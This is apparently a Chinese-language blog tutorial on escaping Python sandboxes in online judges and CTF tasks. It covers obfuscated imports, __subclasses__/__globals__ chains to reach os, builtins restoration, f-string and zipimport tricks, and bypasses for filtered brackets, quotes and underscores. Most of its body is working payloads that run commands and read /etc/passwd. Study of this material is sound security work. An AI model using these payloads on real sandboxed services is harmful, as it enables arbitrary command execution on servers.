python沙箱逃逸

让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os,研究怎么逃逸、防护这类沙箱还是蛮有意思的。

Python 的沙箱逃逸的最终目标就是执行系统任意命令,次一点的写文件,再次一点的读文件

python 绕过沙盒中常见的函数、属性

  1. func_globals
    返回包含函数全局变量的字典的引用(定义函数的模块的全局命令控件)
    用法:function.func_globals
    返回类型是字典

  2. __getattribute__()
    被调用无条件地实现类的实例的属性访问。
    用法:object. getattribute(self, name)
    1)name 必需的。属性的名称。字符串

  3. getattr()
    返回对象的命名属性的值。
    用法:getattr (object, name)
    相当于object.name
    name 必须是一个字符串

  4. __getattr__
    当属性查找没有在通常的位置找到属性时调用
    例如,它不是实例属性,也不是在类树中找到self

  5. __dict__
    列出当前属性/函数的字典

  6. __base__
    列出其基类,__bases__也是列出基类,只不过__bases__返回的是元组

  7. __mro__
    递归的显示父类一直到object
    返回类型为元组

  8. __subclasses__()
    返回子类列表

  9. __import__()
    import一个模块

  10. __bulitin__
    Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
    在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins。

  11. __builtins
    是对内建模块的一个引用,python2和python3相同

  12. reload()
    重新加载之前导入的模块

  13. __name__
    获得模块的名字
    这个值获得的只是一个字符串,不是模块的引用

  14. __globals__
    返回一个当前空间下能使用的模块,方法和变量的字典。
    使用方式是 函数名.__globals__

  15. __call__
    可以把类实例当做函数调用

执行系统命令

基础知识

在python中执行系统命令的方式有:

1
2
3
4
5
6
7
os: os.system("whoami")、os.popen("whoami").read()
commands(仅限2.x): commands.getoutput("whoami")、commands.getstatusoutput("whoami")[1]
subprocess: subprocess.call(["whoami"], shell=True)、subprocess.Popen("ls", shell=True, stdout=subprocess.PIPE).stdout.read()
timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys

查找所有的导入了 os 或者 sys 的库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#-*- coding:utf8 -*-
# By Macr0phag3
# in 2019-05-07 19:46:12
# ------------------------------------

# this, antigravity 库删掉
all_modules_2 = [
'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_3 = [
'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]

methods = ['os', 'sys', '__builtins__']

results = {}
for module in all_modules_3:
results[module] = {
'flag': 0,
'result': {}
}

try:
m = __import__(module)
attrs = dir(m)
for method in methods:
if method in attrs:
result = 'yes'
results[module]['flag'] = 1
else:
result = 'no'

results[module]['result'][method] = result

except Exception as e:
print(e)

for result in results:
if results[result]['flag']:
print('[+]' + result)
for r in results[result]['result']:
print(' [-]' + r + ': ' + results[result]['result'][r])

花式import

首先,禁用 import os 肯定是不行的,因为

1
2
3
import  os
import os
import os

都可以。如果多个空格也过滤了,Python 能够 import 的可不止 import,还有 __import__:__import__('os'),__import__被干了还有 importlib:importlib.import_module('os').system('ls')

这样就安全了吗?实际上import可以通过其他方式完成。回想一下 import 的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile 来代替:

1
2
execfile('/usr/lib/python2.7/os.py')
system('ls')

不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:

1
2
3
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')

这个方法倒是 2.x、3.x 通用的。

不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:

1
2
import sys
print(sys.path)

花式处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

1
2
3
4
__import__('so'[::-1]).system('ls')
b = 'o'
a = 's'
__import__(a+b).system('ls')

还可以利用 eval 或者 exec:

1
2
3
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])

exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

恢复 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。
有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:

1
2
3
4
5
6
7
>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:

1
2
3
4
5
sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

最后还有一种利用 __builtins__ 导入的方式,下面会详细说。

builtins、builtin与__builtins__

builtin、builtins,__builtin__与__builtins__的区别:
首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr、open。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。
顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:
2.x:

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

但是,__builtins__ 两者都有,实际上是__builtin__builtins的引用,它不需要导入。
__builtins__相对实用一点,并且在__builtins__里有很多好东西:

1
2
3
4
'__import__' in dir(__builtins__)  => true
'eval' in dir(__builtins__) => true
'exec' in dir(__builtins__) => true
... ...

在Python中,不引入直接使用的内置函数被成为builtin函数,随着builtin这个模块自动引入到环境中

进而,我们可以通过__dict__引入我们想要引入的模块

1
__builtins__.__dict__['__import__']('os').system('whoami')

由于__dict__引用时使用的是字符串,所以可以花式使用字符串来混淆

1
__builtins__.__dict__['__imp'+'ort__']('o'+'s').system('whoami')

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

1
__builtins__.__dict__['eval'] = 'not allowed'

或者直接删了:

1
del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复__builtins__
这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload

通过继承关系逃逸

在 Python 中提到继承就不得不提 mro,mro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。Python 中新式类都有个属性,叫__mro__,是个元组,记录了继承关系:

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

类的实例在获取__class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base____bases__

由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到 os__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os:

1
2
3
>>> import site
>>> site.os
<module 'os' from 'C:\\Users\\17579\\AppData\\Local\\Programs\\Python\\Python37\\lib\\os.py'>

也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os

既然所有的类都继承的object,那么我们可以用__subclasses__获取它的子类,之后再用子类的方法来获取我们想要的模块或函数
以2.x的site.Quitter为列:

1
2
3
4
>>> ''.__class__.__mro__[-1].__subclasses__()[74].__init__.__globals__['os']
<module 'os' from 'C:\Users\17579\AppData\Local\Programs\Python\python27\lib\os.pyc'>
>>> ''.__class__.__mro__[-1].__subclasses__()[74].__init__.__globals__['__builtins__']['eval']
<built-in function eval>

顺便提一下,object 本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为:

1
object.__subclasses__()[74].__init__.__globals__['os']

还有一种是利用builtin_function_or_method__call__

1
2
3
4
5
6
>>> object.__subclasses__()[29]
<type 'builtin_function_or_method'>
>>> object.__subclasses__()[29].__call__
<slot wrapper '__call__' of 'builtin_function_or_method' objects>
>>> object.__subclasses__()[29].__call__(eval,'1+1')
2

还可以通过这个方式来获得builtin_function_or_method

1
2
>>> [].__getattribute__('append').__class__
<class 'builtin_function_or_method'>

还可以这样利用:

1
2
3
4
5
6
class test(dict):
def __init__(self):
print(super(test, self).keys.__class__.__call__(eval, '1+1'))
# 如果是 3.x 的话可以简写为:
# super().keys.__class__.__call__(eval, '1+1'))
test()

上面的这些利用方式总结起来就是通过__class____mro____subclasses____bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval

利用__builtins__来寻找我们想要的函数可以使用这个脚本:

1
2
3
4
5
6
7
8
9
10
11
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']

for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
print(index, i.__name__, attr, goal)
print("''.__class__.__base__.__subclasses__()["+str(index)+"]."+attr+".__globals__['__builtins__']['" + goal + "']([evil])")

getattr和__getattribute__

这两个函数接受两个参数:第一个是一个模组或者对象,第二个是一个字符串。
该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性

2种方法其区别非常细微,但非常重要。

如果某个类定义了__getattribute__() 方法,在每次引用属性或方法名称时Python都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr()方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 colorx.color 将 不会 调用x.getattr('color'),而只会返回x.color已定义好的值。

getattr 语法:

getattr(object, name[, default])
参数:
    object — 对象。
    name — 字符串,对象属性。
    default — 默认返回值,如果不提供该参数,在没有对应属性时,将触发 AttributeError。

getattribute 语法:

object.__getattribute__(self, name)
无条件被调用,通过实例访问属性。如果class中定义了__getattr__(),则__getattr__()不会被调用(除非显示调用或引发AttributeError异常)

因此,当我们要用类的属性时可以使用__getattribute__(属性名字符串)代替,而又因为属性名传入的是字符串,所以又可以用字符串花式进行绕过:
这个方法只适用于新式类(继承自object或者type的类)

1
2
3
4
5
6
>>> ''.__class__
<class 'str'>
>>> ''.__getattribute__('__class__')
<class 'str'>
>>> ''.__getattribute__('__cla'+'ss__')
<class 'str'>

文件读写

2.x 有个内建的 file:

1
2
3
4
5
>>> file('key').read()
'Macr0phag3\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)platform.popen(rw)linecache.getlines(r)

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:

math.py:

1
2
3
import os

print(os.system('whoami'))

调用

1
2
3
>>> import math
macr0phag3
0

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re:

1
2
3
4
5
>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False
>>>

当然在import re 之前del sys.modules['re']也不是不可以…

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

1
2
>>> __builtins__.open('key').read()
'Macr0phag3\n'

或者

1
2
>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'Macr0phag3'

一些poc

利用继承关系找到os等可以执行系统函数的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()
# python2.x
# ''.__class__.__mro__[-1].__subclasses__()[59] ==> <class 'warnings.WarningMessage'>
# warning.linecache ==> import os

''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
# python3.x
# ''.__class__.__mro__[-1].__subclasses__()[128] ==> <class 'os._wrap_close'>

[].__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()
# python2.x
# [].__class__.__base__.__subclasses__()[69] ==> <class 'site._Printer'>
# site ==> import os


[].__class__.__base__.__subclasses__()[195].__init__.__globals__['call']('whoami',shell=True)
# python3.x
# [].__class__.__base__.__subclasses__()[195] ==> <class 'subprocess.Popen'>
# subprocess.call

[].__class__.__base__.__subclasses__()[186].__init__.__globals__['_os'].popen("whoami").read()
# python3.x
# [].__class__.__base__.__subclasses__()[186] ==> <class 'threading._RLock'>
# threading ==> import os as _os


[].__class__.__base__.__subclasses__()[91].__init__.__globals__['_os'].__dict__['system']('whoami')
# python3.x
# [].__class__.__base__.__subclasses__()[91] ==> <class '_frozen_importlib_external.FileLoader'>
# _frozen_importlib_external._os 引用了os的一些函数,例如system

利用继承关系找到builtin_function_or_method执行eval

1
2
3
4
5
6
7
8
9
10
11
[].__class__.__base__.__subclasses__()[34].__call__(eval,"__import__('os').popen('whoami').read()")
# python3.x
# [].__class__.__base__.__subclasses__()[34] ==> <class 'builtin_function_or_method'>

[].__class__.__base__.__subclasses__()[29].__call__(eval,"__import__('os').popen('whoami').read()")
# python2.x
# [].__class__.__base__.__subclasses__()[29] ==> <class 'builtin_function_or_method'>

[].__getattribute__('append').__class__.__call__(eval, "__import__('os').popen('whoami').read()")
# python2.x python3.x
# [].__getattribute__('append').__class__ ==> <class 'builtin_function_or_method'>

利用继承关系寻找__builtins__来使用eval

1
2
3
4
5
6
''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# <class '_frozen_importlib._ModuleLock'>

''.__class__.__base__.__subclasses__()[105].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# <class 'codecs.StreamReaderWriter'>
... ...

文件读写

1
2
3
4
5
6
7
8
9
10
''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() #调用file子类
''.__class__.__mro__[-1].__subclasses__()[40]('/tmp/1').write("11") #写文件
# python2.x
# <type 'file'>


''.__class__.__base__.__subclasses__()[105].__init__.__globals__['__builtins__']['open']([evil])
# python2 python3
# 利用__builtins__获取内建函数

利用zipimport.zipimporter配合写文件导入任意模块

1
2
3
4
5
6
a = "\x50\x4b\x03\x04\x14\x03\x00\x00\x08\x00\xce\xad\xa4\x42\x5e\x13\x60\xd0\x22\x00\x00\x00\x23\x00\x00\x00\x04\x00\x00\x00\x7a\x2e\x70\x79\xcb\xcc\x2d\xc8\x2f\x2a\x51\xc8\x2f\xe6\x2a\x28\xca\xcc\x03\x31\xf4\x8a\x2b\x8b\x4b\x52\x73\x35\xd4\x93\x13\x4b\x14\xb4\xd4\x35\xb9\x00\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x08\x00\xce\xad\xa4\x42\x5e\x13\x60\xd0\x22\x00\x00\x00\x23\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x80x\a4x\81x\00x\00x\00x\00x\7ax\2ex\70x\79x\50x\4bx\05x\06\x00\x00\x00\x00\x01\x00\x01\x00\x32\x00\x00\x00\x44\x00\x00\x00\x00\x00"
''.__class__.__mro__[-1].__subclasses__()[40]('/tmp/a.zip','wb').write(a)
''.__class__.__mro__[-1].__subclasses__()[56]("/tmp/a.zip").load_module("/tmp/a.zip)

# ''.__class__.__mro__[-1].__subclasses__()[56] ==> zipimport.zipimporter python2.x
# ''.__class__.__mro__[-1].__subclasses__()[88] ==> zipimport.zipimporter python3.x

注意:必须要是zip格式的文件才能导入

f修饰符

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。

只有在python3.6.0+的版本才有这个方法。简单来说,可以理解为字符串外层套了一个exec()

1
2
3
4
>>> f'{print("aaa")}'
aaa
'None'
>>> f'{__import__("os").system("whoami")}'

这个有点类似于php中的<?php "${@phpinfo()}"; ?>,但python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。

绕过过滤

字符串的变换

所有一个使用字符串的地方都可以使用字符串的拼接、字符串倒置和字符串编码等方式来变换

1
2
3
4
5
[].__class__.__base__.__subclasses__()[91].__init__.__globals__['_os'].__dict__['system']('whoami') 

==> [].__class__.__base__.__subclasses__()[91].__init__.__globals__['_'+'o'+'s'].__dict__['sys'+'tem']('imaohw'[::-1])

注:'ZXZhbA=='.decode('base64') 这种方式只有python2支持

过滤[]

  1. __getitem__()

    1
    "".__class__.__mro__[2] ==> "".__class__.__mro__.__getitem__(2)
  2. pop()

    1
    "".__class__.__mro__[2] ==> "".__class__.__mro__.pop(2)

过滤引号

使用chr函数,先获取chr函数,赋值给chr。

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

1
2
[].__class__.__base__.__subclasses__()[91].__init__.__globals__['_os'].__dict__['system']('whoami')
==> [].__class__.__base__.__subclasses__()[91].__init__.__globals__[chr(95)+chr(111)+chr(115)].__dict__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))

过滤下划线/过滤.

可以使用getattr() + dir(0)[0][0]来绕过
dir(0)[0][0] ==> "_"

转换过程:

1
2
3
4
5
6
[].__class__   ==>   getattr([],'__class__')
[].__class__.__base__ ==> getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59] ==> getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]#后面有括号
[].__class__.__base__.__subclasses__()[59].__init__ ==> getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'] ==> getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache']
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'] ==> getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os']

其中双下划綫都是字符串中的了,可以使用dir(0)[0][0]或者chr来绕过

其中,getattr函数在模板中不存在,可以使用模板内置过滤器attr过滤器来获取对象属性。

使用方法为:foo|attr("bar") == foo["bar"]

__getattribute__

当我们要用类的属性时可以使用__getattribute__(属性名字符串)代替,而又因为属性名传入的是字符串,所以又可以用字符串花式进行绕过

1
2
3
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

==> [].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]

前提条件:这个方法只适用于新式类(继承自object或者type的类)

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/03/20/python/python沙箱逃逸/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog